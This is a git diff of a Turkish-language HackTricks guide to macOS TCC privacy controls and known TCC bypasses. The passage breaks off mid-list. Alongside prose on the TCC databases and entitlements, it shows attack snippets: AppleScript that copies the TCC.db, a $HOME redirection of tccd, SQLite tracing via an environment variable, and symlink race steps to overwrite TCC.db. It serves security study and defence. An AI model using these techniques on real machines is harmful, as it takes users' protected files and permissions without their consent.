aracılığıyla görülebilir. Ayrıca, TCC, uygulamaların yalnızca açıkça izin verilenlere erişim sağlamak için belirli dosyalara erişim sağlamak için **dosyaları bir uygulamaya sürükleyip bırakma** gibi doğrudan kullanıcı eylemlerini de destekler. +Kullanıcılar, uygulamaların korunan özelliklere erişim istediğinde TCC ile karşılaşırlar. Bu, kullanıcılara **erişimi onaylama veya reddetme** seçeneği sunan bir uyarı aracılığıyla görülebilir. Ayrıca, TCC, **dosyaları bir uygulamaya sürükleyip bırakma** gibi doğrudan kullanıcı eylemlerini de destekler ve uygulamaların yalnızca açıkça izin verilenlere erişim sağlamasını sağlar. ![Bir TCC uyarı örneği](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855) **TCC**, `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` konumunda bulunan **daemon** tarafından işlenir ve `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` dosyasında yapılandırılır (`com.apple.tccd.system` mach servisini kaydeder). -Her oturum açılan kullanıcı için tanımlanan `/System/Library/LaunchAgents/com.apple.tccd.plist` dosyasında çalışan **kullanıcı modu tccd** bulunur ve `com.apple.tccd` ve `com.apple.usernotifications.delegate.com.apple.tccd` mach servislerini kaydeder. +Her oturum açılan kullanıcı için tanımlanan `/System/Library/LaunchAgents/com.apple.tccd.plist` dosyasında çalışan bir **kullanıcı modu tccd** bulunur ve `com.apple.tccd` ve `com.apple.usernotifications.delegate.com.apple.tccd` mach servislerini kaydeder. -Burada sistem olarak çalışan tccd ve kullanıcı olarak çalışan tccd'yi görebilirsiniz: +Burada sistem olarak çalışan tccd'yi ve kullanıcı olarak çalışan tccd'yi görebilirsiniz: ```bash ps -ef | grep tcc 0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system 501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd ``` -İzinler **ana uygulamadan miras alınır** ve **izinler** **Bundle ID** ve **Developer ID**'ye göre **izlenir**. +İzinler **ana uygulamadan miras alınır** ve **izinler** **Bundle ID** ve **Developer ID**'ye göre izlenir. ### TCC Veritabanları @@ -55,7 +55,7 @@ Ancak, bu yüksek ayrıcalıklara sahip bir işlem (FDA veya `kTCCServiceEndpoin - SIP korumalı dosya **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (herkes tarafından okunabilir) TCC istisnası gerektiren uygulamaların izin listesidir. {% hint style="success" %} -**iOS**'deki TCC veritabanı **`/private/var/mobile/Library/TCC/TCC.db`** içindedir. +**iOS**'taki TCC veritabanı **`/private/var/mobile/Library/TCC/TCC.db`** içindedir. {% endhint %} {% hint style="info" %} @@ -127,12 +127,12 @@ Her iki veritabanını da kontrol ederek bir uygulamanın izin verdiği, yasakla {% endhint %} - **`service`**, TCC **izin** dizesinin temsilidir -- **`client`**, izinlere sahip olan veya izinlere sahip olmayan **bundle ID** veya **binary yoludur** +- **`client`**, izinlere sahip olan **bundle ID** veya **binary yoludur** - **`client_type`**, bir Bundle Kimliği(0) mi yoksa mutlak yol(1) mi olduğunu belirtir
-Absolut yol ise nasıl yürütülür +Absolut yol olduğunda nasıl yürütülür Sadece **`launctl load you_bin.plist`** yapın, plist ile: ```xml @@ -171,11 +171,11 @@ Sadece **`launctl load you_bin.plist`** yapın, plist ile: ``` - +
* **`auth_value`** farklı değerlere sahip olabilir: denied(0), unknown(1), allowed(2) veya limited(3). * **`auth_reason`** aşağıdaki değerleri alabilir: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12) -* **csreq** alanı, yürütülecek olan ikili dosyanın nasıl doğrulanacağını ve TCC izinlerini nasıl vereceğini belirtmek için bulunmaktadır: +* **csreq** alanı, yürütülecek olan ikili dosyayı nasıl doğrulayacağını ve TCC izinlerini nasıl vereceğini belirtmek için bulunmaktadır: ```bash # Query to get cserq in printable hex select service, client, hex(csreq) from access where auth_value=2; @@ -193,7 +193,7 @@ echo "X'$REQ_HEX'" ``` * Tablonun **diğer alanları** hakkında daha fazla bilgi için [**bu blog yazısına**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive) göz atabilirsiniz. -Ayrıca, `Sistem Tercihleri --> Güvenlik ve Gizlilik --> Gizlilik --> Dosyalar ve Klasörler` bölümünde uygulamalara verilen **izinleri kontrol edebilirsiniz**. +Ayrıca, uygulamalara verilen izinleri `Sistem Tercihleri --> Güvenlik ve Gizlilik --> Gizlilik --> Dosyalar ve Klasörler` bölümünden kontrol edebilirsiniz. {% hint style="success" %} Kullanıcılar **`tccutil`** kullanarak **kuralları silebilir veya sorgulayabilir**. @@ -209,7 +209,7 @@ tccutil reset All ``` ### TCC İmza Kontrolleri -TCC **veritabanı**, uygulamanın **Paket Kimliği**'ni depolar, ancak aynı zamanda bir izni kullanmak için başvuran Uygulamanın doğru olduğundan emin olmak için **imza** hakkında **bilgi** de **saklar**. +TCC **veritabanı**, uygulamanın **Paket Kimliği**ni depolar, ancak aynı zamanda bir izni kullanmak için başvuran Uygulamanın doğru olduğundan emin olmak için **imza** hakkında **bilgi** de depolar. ```bash # From sqlite sqlite> select service, client, hex(csreq) from access where auth_value=2; @@ -230,9 +230,9 @@ Bu nedenle, aynı adı ve paket kimliğini kullanan diğer uygulamalar, diğer u ### Yetkiler ve TCC İzinleri Uygulamalar **sadece** bazı kaynaklara **erişim istemekle kalmaz**, aynı zamanda **ilgili yetkilere sahip olmalıdır**.\ -Örneğin **Telegram**, kameraya **erişim istemek için** `com.apple.security.device.camera` yetkisine sahiptir. Bu **yetkiye sahip olmayan bir uygulama** kameraya erişemez (ve kullanıcıya izinler sorulmaz). +Örneğin **Telegram**, kameraya **erişim istemek** için `com.apple.security.device.camera` yetkisine sahiptir. Bu **yetkiye sahip olmayan bir uygulama** kameraya erişemez (ve kullanıcı izinleri bile istenmez). -Ancak, uygulamaların `~/Desktop`, `~/Downloads` ve `~/Documents` gibi **belirli kullanıcı klasörlerine erişmek** için herhangi bir **özel yetkiye ihtiyaçları yoktur.** Sistem, erişimi şeffaf bir şekilde ele alacak ve gerektiğinde **kullanıcıya uyarı gösterecektir.** +Ancak, uygulamaların `~/Desktop`, `~/Downloads` ve `~/Documents` gibi **belirli kullanıcı klasörlerine erişmesi** için herhangi bir **özel yetkiye ihtiyaçları yoktur.** Sistem, erişimi şeffaf bir şekilde ele alacak ve gerektiğinde **kullanıcıya uyarı gösterecektir.** Apple'ın uygulamaları **uyarılar oluşturmaz.** Onlar, **yetkilendirme listelerinde önceden verilmiş haklara** sahiptir, bu da **asla bir pencere oluşturmayacakları** ve **TCC veritabanlarında görünmeyecekleri** anlamına gelir. Örneğin: ```bash @@ -245,13 +245,13 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app kTCCServiceAddressBook
``` -Bu, Takvim'in kullanıcıdan hatırlatıcılar, takvim ve adres defterine erişim istemesini engelleyecektir. +Bu, Takvim'in kullanıcıya hatırlatıcılar, takvim ve adres defterine erişim istemesini engelleyecektir. {% hint style="success" %} -Yetkilendirmeler hakkında resmi belgelerin yanı sıra, [https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl) adresinde **yetkilendirmelerle ilgili ilginç bilgileri** de bulmak mümkündür. +Yetkilendirmeler hakkında resmi belgelere ek olarak, [https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl) adresinde **yetkilendirmelerle ilgili ilginç bilgileri** de bulmak mümkündür. {% endhint %} -Bazı TCC izinleri şunlardır: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Tümünü tanımlayan genel bir liste bulunmamakla birlikte, bu [bilinenlerin listesini](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) kontrol edebilirsiniz. +Bazı TCC izinleri şunlardır: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Tümünü tanımlayan genel bir liste bulunmamaktadır, ancak [**bilinenlerin listesini**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service) kontrol edebilirsiniz. ### Hassas korunmasız yerler @@ -261,7 +261,7 @@ Bazı TCC izinleri şunlardır: kTCCServiceAppleEvents, kTCCServiceCalendar, kTC ### Kullanıcı Niyeti / com.apple.macl -Daha önce belirtildiği gibi, bir dosyaya erişime izin vermek için onu bir uygulamaya sürükleyip bırakmak mümkündür. Bu erişim, herhangi bir TCC veritabanında belirtilmeyecek ancak dosyanın **uzatılmış bir niteliği** olarak saklanacaktır. Bu nitelik, izin verilen uygulamanın **UUID'sini saklayacaktır**: +Daha önce belirtildiği gibi, bir dosyaya erişime izin vermek için onu bir uygulamaya sürükleyip bırakmak mümkündür. Bu erişim, herhangi bir TCC veritabanında belirtilmeyecek ancak dosyanın **uzatılmış bir özniteliği** olarak saklanacaktır. Bu öznitelik, izin verilen uygulamanın **UUID'sini saklayacaktır**: ```bash xattr Desktop/private.txt com.apple.macl @@ -282,7 +282,7 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3 Ayrıca, bilgisayarınızdaki bir uygulamanın UUID'sine izin veren bir dosyayı farklı bir bilgisayara taşırsanız, çünkü aynı uygulamanın farklı UID'leri olacaktır, o uygulamaya erişim izni vermez. {% endhint %} -`com.apple.macl` genişletilmiş özniteliği diğer genişletilmiş öznitelikler gibi **SIP tarafından korunduğu için** **temizlenemez**. Bununla birlikte, [**bu gönderide açıklandığı gibi**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), dosyayı **sıkıştırarak**, **silmeyi** ve **sıkıştırılmış dosyayı açmayı** devre dışı bırakmak mümkündür. +`com.apple.macl` genişletilmiş özniteliği, diğer genişletilmiş öznitelikler gibi **SIP** tarafından korunduğu için **temizlenemez**. Bununla birlikte, [**bu yazıda açıklandığı gibi**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/), dosyayı **sıkıştırarak**, **silmeyi** ve **sıkıştırılmış dosyayı açmayı** devre dışı bırakmak mümkündür. ## TCC Privesc & Bypasses @@ -336,7 +336,7 @@ strftime('%s', 'now') -- last_reminded with default current timestamp ### TCC Yükleri -Eğer bir uygulamaya bazı TCC izinleri ile girdiyseniz, bunları kötüye kullanmak için TCC yükleri sayfasına bakın: +Eğer bir uygulamaya bazı TCC izinleriyle girdiyseniz, bunları kötüye kullanmak için aşağıdaki sayfayı kontrol edin: {% content-ref url="macos-tcc-payloads.md" %} [macos-tcc-payloads.md](macos-tcc-payloads.md) @@ -345,13 +345,13 @@ Eğer bir uygulamaya bazı TCC izinleri ile girdiyseniz, bunları kötüye kulla ### Otomasyon (Finder) için FDA\* Otomasyon izninin TCC adı: **`kTCCServiceAppleEvents`**\ -Bu belirli TCC izni aynı zamanda TCC veritabanında yönetilebilecek **uygulamayı da belirtir** (yani izinler sadece her şeyi yönetmeye izin vermez). +Bu belirli TCC izni aynı zamanda TCC veritabanı içinde **yönetilebilecek uygulamayı** belirtir (yani izinler sadece her şeyi yönetmeye izin vermez). -**Finder**, **her zaman FDA'ya sahip olan** bir uygulamadır (UI'de görünmese bile), bu yüzden üzerinde **Otomasyon** ayrıcalıklarınız varsa, bu ayrıcalıkları kötüye kullanarak **bazı işlemler yaptırabilirsiniz**.\ +**Finder**, **her zaman FDA'ya sahip** bir uygulamadır (UI'de görünmese bile), bu yüzden üzerinde **Otomasyon** ayrıcalıklarınız varsa, bu ayrıcalıkları kötüye kullanarak **bazı işlemler yapmasını sağlayabilirsiniz**.\ Bu durumda uygulamanızın **`com.apple.Finder`** üzerinde **`kTCCServiceAppleEvents`** iznine ihtiyacı olacaktır. {% tabs %} -{% tab title="Kullanıcıların TCC.db'sini Çalma" %} +{% tab title="Kullanıcıların TCC.db dosyasını çalma" %} ```applescript # This AppleScript will copy the system TCC database into /tmp osascript<
+
{% hint style="danger" %} **Automator** uygulamasının **`kTCCServiceAppleEvents`** TCC iznine sahip olması nedeniyle, Finder gibi herhangi bir uygulamayı **kontrol edebilir**. Bu nedenle, Automator'ı kontrol etme iznine sahip olduğunuzda aşağıdaki gibi bir kodla **Finder'ı** da kontrol edebilirsiniz: @@ -418,11 +418,11 @@ EOD ``` -**Script Editor uygulaması** için aynı durum geçerlidir, Finder'ı kontrol edebilir, ancak bir AppleScript kullanarak bir betiği çalıştırmaya zorlayamazsınız. +**Script Editor uygulaması** için de aynı durum geçerlidir, Finder'ı kontrol edebilir, ancak bir AppleScript kullanarak bir betiği çalıştırmaya zorlayamazsınız. ### Otomasyon (SE) bazı TCC'lere -**Sistem Olayları** Klasör Eylemleri oluşturabilir ve Klasör eylemleri bazı TCC klasörlerine erişebilir (Masaüstü, Belgeler ve İndirmeler), bu nedenle aşağıdaki gibi bir betik bu davranışı kötüye kullanmak için kullanılabilir: +**Sistem Olayları Klasör Eylemleri oluşturabilir ve Klasör eylemleri bazı TCC klasörlerine erişebilir** (Masaüstü, Belgeler ve İndirmeler), bu nedenle aşağıdaki gibi bir betik bu davranışı kötüye kullanmak için kullanılabilir: ```bash # Create script to execute with the action cat > "/tmp/script.js" < diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md index 91f5c38f2..8dae292a7 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md @@ -2,11 +2,11 @@
-Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! HackTricks'i desteklemenin diğer yolları: -* Şirketinizin **HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** @@ -32,7 +32,7 @@ asd ### TCC ClickJacking -Kullanıcıyı **fark etmeden kabul etmeye** zorlamak için TCC uyarısının üzerine bir pencere **yerleştirilebilir**. Bir PoC'yi [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**'de** bulabilirsiniz. +Kullanıcıyı **fark etmeden kabul etmesini** sağlamak için TCC uyarısının üzerine bir pencere **yerleştirilebilir**. Bir PoC'yi [**TCC-ClickJacking**](https://github.com/breakpointHQ/TCC-ClickJacking)**'de** bulabilirsiniz.

https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg

@@ -55,7 +55,7 @@ Varsayılan olarak **SSH üzerinden erişim "Tam Disk Erişimi"**ne sahiptir. Bu ![](<../../../../../.gitbook/assets/image (569).png>) -İşte bazı **kötü amaçlı yazılımların bu korumayı atlatmayı** nasıl başardığını gösteren örnekler: +İşte bazı **kötü amaçlı yazılımların bu korumayı atlatmayı** nasıl başardığının örnekleri: * [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/) @@ -65,17 +65,17 @@ Varsayılan olarak **SSH üzerinden erişim "Tam Disk Erişimi"**ne sahiptir. Bu ### Uzantıları İşleme - CVE-2022-26767 -Dosyalara **belirli bir uygulamanın okuma izinlerini vermek** için **`com.apple.macl`** özniteliği verilir. Bu öznitelik, bir dosyayı bir uygulamanın üzerine sürükleyip bıraktığınızda veya bir kullanıcı bir dosyayı varsayılan uygulama ile açmak için **çift tıkladığında** ayarlanır. +Dosyalara **belirli bir uygulamanın okuma izinlerini vermek** için **`com.apple.macl`** özniteliği verilir. Bu öznitelik, bir dosyayı bir uygulamanın üzerine sürükleyip bıraktığınızda veya bir kullanıcı dosyayı **çift tıklattığında** varsayılan uygulama ile açtığında ayarlanır. -Bu nedenle, bir kullanıcı **tüm uzantıları işlemek için kötü amaçlı bir uygulama** kaydedebilir ve Launch Services'ı çağırarak herhangi bir dosyayı **açabilir** (bu nedenle kötü amaçlı dosya okuma izni verilir). +Bu nedenle, bir kullanıcı **tüm uzantıları ele alacak kötü amaçlı bir uygulama** kaydedebilir ve Launch Services'ı çağırarak herhangi bir dosyayı **açabilir** (bu nedenle kötü amaçlı dosya okuma izni verilir). ### iCloud -**`com.apple.private.icloud-account-access`** ayrıcalığı ile **`com.apple.iCloudHelper`** XPC hizmeti ile iletişim kurmak mümkündür ve bu hizmet **iCloud belgelerini sağlayacaktır**. +**`com.apple.private.icloud-account-access`** ayrıcalığı ile **`com.apple.iCloudHelper`** XPC hizmetiyle iletişim kurmak mümkündür ve bu hizmet **iCloud belgelerini sağlayacaktır**. **iMovie** ve **Garageband** bu ayrıcalığa sahipti ve diğerleri de sahipti. -Bu ayrıcalıktan **iCloud belgelerini almak için** söz konusu söz hakkında daha fazla **bilgi** için şu konuşmayı kontrol edin: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) +Bu ayrıcalıktan **iCloud belgelerini almak** için bir açıdan daha fazla **bilgi** için şu konuşmayı kontrol edin: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) ### kTCCServiceAppleEvents / Otomasyon @@ -93,7 +93,7 @@ Apple Betikleri hakkında daha fazla bilgi için kontrol edin: #### iTerm Üzerinde -FDA'ya sahip olmayan Terminal, FDA'ya sahip olan iTerm'i çağırabilir ve işlemleri gerçekleştirmek için kullanabilir: +FDA'ya sahip olmayan Terminal, FDA'ya sahip iTerm'i çağırabilir ve işlemleri gerçekleştirmek için kullanabilir: {% code title="iterm.script" %} ```applescript @@ -107,13 +107,13 @@ write text "cp ~/Desktop/private.txt /tmp" end tell end tell ``` -{% endcode %} dosyası, macOS TCC atlamaları hakkında bilgi içerir. Bu dosya, macOS güvenlik korumaları ve ayrıcalık yükseltme konularını ele almaktadır. +{% endcode %} ```bash osascript iterm.script ``` #### Finder Üzerinden -Veya bir Uygulamanın Finder üzerinden erişimi varsa, şöyle bir betik çalıştırabilir: +Veya bir Uygulamanın Finder üzerinden erişimi varsa, şöyle bir betik olabilir: ```applescript set a_user to do shell script "logname" tell application "Finder" @@ -130,7 +130,7 @@ do shell script "rm " & POSIX path of (copyFile as alias) Kullanıcı alanı **tccd daemon**'ı, TCC kullanıcı veritabanına erişmek için **`HOME`** **env** değişkenini kullanır: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** [Şu Stack Exchange gönderisine](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) göre ve TCC daemon'ının mevcut kullanıcının etki alanı içinde `launchd` aracılığıyla çalıştırıldığından, **tüm çevre değişkenlerini kontrol etmek mümkündür**.\ -Bu nedenle, bir **saldırgan**, **`launchctl`** içinde **`$HOME`** çevre değişkenini kontrol edilen bir **dizine** işaret etmek üzere ayarlayabilir, **TCC** daemon'ını **yeniden başlatabilir** ve ardından **TCC veritabanını doğrudan değiştirerek** kendisine **kullanılabilir tüm TCC yetkilerini** vererek son kullanıcıya hiçbir zaman sormadan yetki kazanabilir.\ +Bu nedenle, bir **saldırgan**, **`launchctl`** içinde **`$HOME`** çevre değişkenini kontrol edilen bir **dizine** işaret etmek üzere ayarlayabilir, **TCC** daemon'ını **yeniden başlatabilir** ve ardından TCC veritabanını **doğrudan değiştirerek** kendisine **kullanılabilir tüm TCC yetkilerini** vererek son kullanıcıya hiçbir zaman soru sormadan yetkilendirebilir.\ PoC: ```bash # reset database just in case (no cheating!) @@ -160,70 +160,70 @@ $> ls ~/Documents ``` ### CVE-2021-30761 - Notlar -Notlar, TCC korumalı konumlara erişime sahipti ancak bir not oluşturulduğunda bu **korumalı olmayan bir konumda oluşturulur**. Bu nedenle, notlardan birinin korumalı bir dosyayı bir nota kopyalamasını isteyebilir ve ardından dosyaya erişebilirsiniz: +Notlar, TCC korumalı konumlara erişime sahipti ancak bir not oluşturulduğunda bu **korumalı olmayan bir konumda oluşturulur**. Bu nedenle, notlara korumalı bir dosyayı bir nota kopyalamasını isteyebilir ve ardından dosyaya erişebilirsiniz:
### CVE-2021-30782 - Taşınma -`/usr/libexec/lsd` ikili dosyası, `libsecurity_translocate` kütüphanesi ile `com.apple.private.nullfs_allow` yetkisine sahipti, bu da **nullfs** bağlantısını oluşturmasına izin veriyordu ve `com.apple.private.tcc.allow` yetkisine sahipti ve **`kTCCServiceSystemPolicyAllFiles`** ile her dosyaya erişim sağlıyordu. +`/usr/libexec/lsd` ikili dosyası, `libsecurity_translocate` kütüphanesiyle birlikte `com.apple.private.nullfs_allow` yetkisine sahipti, bu da **nullfs** bağlantısını oluşturmasına izin veriyordu ve `com.apple.private.tcc.allow` yetkisine sahipti ve **`kTCCServiceSystemPolicyAllFiles`** ile her dosyaya erişim sağlıyordu. -"Library" klasörüne karantina özniteliği eklemek, **`com.apple.security.translocation`** XPC servisini çağırmak ve ardından Library'yi **`$TMPDIR/AppTranslocation/d/d/Library`** olarak eşlemek ve Library içindeki tüm belgelere **erişmek** mümkündü. +"Library" klasörüne karantina özniteliği eklemek, **`com.apple.security.translocation`** XPC servisini çağırmak ve ardından Library'yi **`$TMPDIR/AppTranslocation/d/d/Library`**'ye eşlemek ve Library içindeki tüm belgelere **erişmek** mümkündü. ### CVE-2023-38571 - Müzik ve TV -**`Müzik`** ilginç bir özelliğe sahiptir: Çalıştığında, kullanıcının "ortam kütüphanesine" **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** bırakılan dosyaları **ithal eder**. Dahası, şuna benzer bir şey çağırır: **`rename(a, b);`** burada `a` ve `b` şunlardır: +**`Müzik`** ilginç bir özelliğe sahiptir: Çalıştığında, kullanıcının "ortam kütüphanesine" **`~/Music/Music/Media.localized/Automatically Add to Music.localized`**'e bırakılan dosyaları **ithal eder**. Ayrıca şuna benzer bir şey çağırır: **`rename(a, b);`** burada `a` ve `b` şunlardır: * `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"` * `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3` -Bu **`rename(a, b);`** davranışı bir **Yarış Koşulu**na karşı savunmasızdır, çünkü `Automatically Add to Music.localized` klasörüne sahte bir **TCC.db** dosyası yerleştirmek ve ardından yeni klasörün (b) oluşturulduğunda dosyayı kopyalamak, silmek ve **`~/Library/Application Support/com.apple.TCC`**'ye yönlendirmek mümkündür. +Bu **`rename(a, b);`** davranışı bir **Yarış Koşulu**'na karşı savunmasızdır, çünkü `Automatically Add to Music.localized` klasörüne sahte bir **TCC.db** dosyası yerleştirmek ve ardından yeni klasörün (b) oluşturulduğunda dosyayı kopyalamak, silmek ve onu **`~/Library/Application Support/com.apple.TCC`**'ye yönlendirmek mümkündür. ### SQLITE\_SQLLOG\_DIR - CVE-2023-32422 -**`SQLITE_SQLLOG_DIR="yol/klasör"`** ayarı temelde **herhangi bir açık db'nin o yola kopyalandığı** anlamına gelir. Bu CVE'de bu kontrol, **FDA'ya sahip bir işlem tarafından açılacak bir SQLite veritabanına yazmak** için kötüye kullanıldı ve ardından **`SQLITE_SQLLOG_DIR`**'yi **dosya adındaki sembolik bağlantı ile** kötüye kullanarak, bu veritabanı **açıldığında**, kullanıcı **TCC.db'si açılanla üzerine yazılır**. +Eğer **`SQLITE_SQLLOG_DIR="yol/klasör"`** ise temelde **herhangi bir açık db'nin o yola kopyalandığı** anlamına gelir. Bu CVE'de bu kontrol, **FDA'ya sahip bir işlem tarafından açılacak bir SQLite veritabanına yazmak** için kötüye kullanıldı ve ardından **`SQLITE_SQLLOG_DIR`**'yi **dosya adındaki sembolik bağlantı ile** kötüye kullanarak, bu veritabanı **açıldığında**, kullanıcı **TCC.db'si açılanla üzerine yazıldı**. -**Daha fazla bilgi** [**yazılımda**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **ve** [**sunumda**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s). +**Daha fazla bilgi** [**yazılı açıklamada**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **ve** [**sunumda**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s). ### **SQLITE\_AUTO\_TRACE** -Çevre değişkeni **`SQLITE_AUTO_TRACE`** ayarlandığında, **`libsqlite3.dylib`** kütüphanesi tüm SQL sorgularını **günlüğe kaydetmeye** başlar. Birçok uygulama bu kütüphaneyi kullandığından, tüm SQLite sorgularını günlüğe kaydetmek mümkündü. +Eğer **`SQLITE_AUTO_TRACE`** çevresel değişkeni ayarlanmışsa, **`libsqlite3.dylib`** kütüphanesi tüm SQL sorgularını **günlüğe kaydetmeye** başlayacaktır. Birçok uygulama bu kütüphaneyi kullandığından, tüm SQLite sorgularını günlüğe kaydetmek mümkündü. -Birçok Apple uygulaması, TCC korumalı bilgilere erişmek için bu kütüphaneyi kullandı. +Birçok Apple uygulaması, TCC korumalı bilgilere erişmek için bu kütüphaneyi kullanmaktadır. ```bash # Set this env variable everywhere launchctl setenv SQLITE_AUTO_TRACE 1 ``` ### MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407 -Bu **çevre değişkeni, çeşitli programların bağımlılığı olan `Metal` çerçevesi tarafından kullanılır**, en dikkate değer olarak `Music` programı, FDA'ya sahiptir. +Bu **çevre değişkeni, çeşitli programların bağımlılığı olan `Metal` çerçevesi tarafından kullanılır**, en önemlisi `Music` programıdır, FDA'ya sahiptir. -Aşağıdakini ayarlayarak: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`. Eğer `path` geçerli bir dizin ise, hata tetiklenecek ve programda neler olduğunu görmek için `fs_usage` kullanabiliriz: +Aşağıdakini ayarlayarak: `MTL_DUMP_PIPELINES_TO_JSON_FILE="yol/ad"` Eğer `yol` geçerli bir dizin ise, hata tetiklenecek ve programda neler olduğunu görmek için `fs_usage` kullanabiliriz: -* `open()` ile açılacak bir dosya, `path/.dat.nosyncXXXX.XXXXXX` adında (X rastgeledir) -* bir veya daha fazla `write()` işlemi içeriği dosyaya yazacak (bunu kontrol etmiyoruz) -* `path/.dat.nosyncXXXX.XXXXXX` `rename()` ile `path/name` olarak adlandırılacak +* `open()` ile `path/.dat.nosyncXXXX.XXXXXX` (X rastgele) adında bir dosya açılacak +* bir veya daha fazla `write()` içeriği dosyaya yazacak (bunu kontrol etmiyoruz) +* `path/.dat.nosyncXXXX.XXXXXX` `rename()` ile `path/ad` olarak yeniden adlandırılacak -Bu geçici bir dosya yazma işlemidir, ardından **güvenli olmayan bir şekilde `rename(eski, yeni)`** işlemi gerçekleşir. +Bu geçici bir dosya yazma işlemidir, ardından **güvenli olmayan bir şekilde `rename(eski, yeni)` gerçekleşir.** Bu güvenli değildir çünkü **eski ve yeni yolları ayrı ayrı çözmesi** gerekir, bu da biraz zaman alabilir ve Yarış Koşulu'na karşı savunmasız olabilir. Daha fazla bilgi için `xnu` fonksiyonu olan `renameat_internal()`'a bakabilirsiniz. {% hint style="danger" %} -Yani, temelde, bir ayrıcalıklı işlem, kontrol ettiğiniz bir klasörden yeniden adlandırma yaparsa, bir RCE kazanabilir ve erişimi farklı bir dosyaya yönlendirebilir veya bu CVE'de olduğu gibi, ayrıcalıklı uygulamanın oluşturduğu dosyayı açabilir ve bir FD saklayabilir. +Yani, temelde, bir ayrıcalıklı işlem, kontrol ettiğiniz bir klasörden yeniden adlandırma yaptığında, bir RCE kazanabilir ve farklı bir dosyaya erişim sağlayabilir veya bu CVE'de olduğu gibi, ayrıcalıklı uygulamanın oluşturduğu dosyayı açabilir ve bir FD saklayabilir. -Yeniden adlandırma, kontrol ettiğiniz bir klasöre erişirse ve kaynak dosyayı değiştirmişseniz veya bir FD'si varsa, hedef dosyayı (veya klasörü) bir sembolik bağa işaret etmek için hedef dosyayı değiştirebilirsiniz, böylece istediğiniz zaman yazabilirsiniz. +Yeniden adlandırma, kontrol ettiğiniz bir klasöre erişirse, kaynak dosyayı değiştirmiş veya bir FD'si varsa, hedef dosyayı (veya klasörü) bir sembolik bağa işaret etmek için değiştirebilirsiniz, böylece istediğiniz zaman yazabilirsiniz. {% endhint %} -Bu, CVE'deki saldırıydı: Örneğin, kullanıcının `TCC.db` dosyasını üzerine yazmak için: +Bu, CVE'deki saldırı buydu: Örneğin, kullanıcının `TCC.db` dosyasını üzerine yazmak için: * `/Users/hacker/ourlink`'i `/Users/hacker/Library/Application Support/com.apple.TCC/`'ye işaret edecek şekilde oluşturun * `/Users/hacker/tmp/` dizinini oluşturun * `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db` olarak 